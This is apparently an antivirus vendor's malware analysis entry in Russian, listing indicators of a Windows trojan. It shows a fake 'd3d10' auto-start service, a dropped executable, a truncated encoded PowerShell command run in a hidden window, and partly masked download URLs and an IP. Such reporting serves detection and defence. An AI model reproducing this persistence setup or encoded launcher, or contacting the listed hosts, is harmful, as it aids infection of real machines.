Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3d10] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3d10] 'ImagePath' = '"%WINDIR%\SysWOW64\wuapp\d3d10.exe"'
- 'd3d10' "%WINDIR%\SysWOW64\wuapp\d3d10.exe"
- 'd3d10' %WINDIR%\SysWOW64\wuapp\d3d10.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABPAHUAZgBhAG0ANwBnAD0AKAAoACcAQQAyAHgAJwArACcAMgAnACkAKwAoACcAbgAnACsAJwByAHcAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAcwBlAFIAUAByAE8AZgBpAEwARQBcAFQAZgA2AF...
- %HOMEPATH%\tf6pr51\epgn7jm\hvpdf244_.exe
- %WINDIR%\syswow64\wuapp\d3d10.exe
- %HOMEPATH%\tf6pr51\epgn7jm\hvpdf244_.exe в %WINDIR%\syswow64\wuapp\d3d10.exe
- '10#.#2.141.43':80
- http://ca####studios.com/images/Z/
- http://10#.#2.141.43/XnmY/ikm5yJ/kcx4y5V2/
- DNS ASK ca####studios.com
- '%HOMEPATH%\tf6pr51\epgn7jm\hvpdf244_.exe'
- '%WINDIR%\syswow64\wuapp\d3d10.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABPAHUAZgBhAG0ANwBnAD0AKAAoACcAQQAyAHgAJwArACcAMgAnACkAKwAoACcAbgAnACsAJwByAHcAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAcwBlAFIAUAByAE8AZgBpAEwARQBcAFQAZgA2AF...' (со скрытым окном)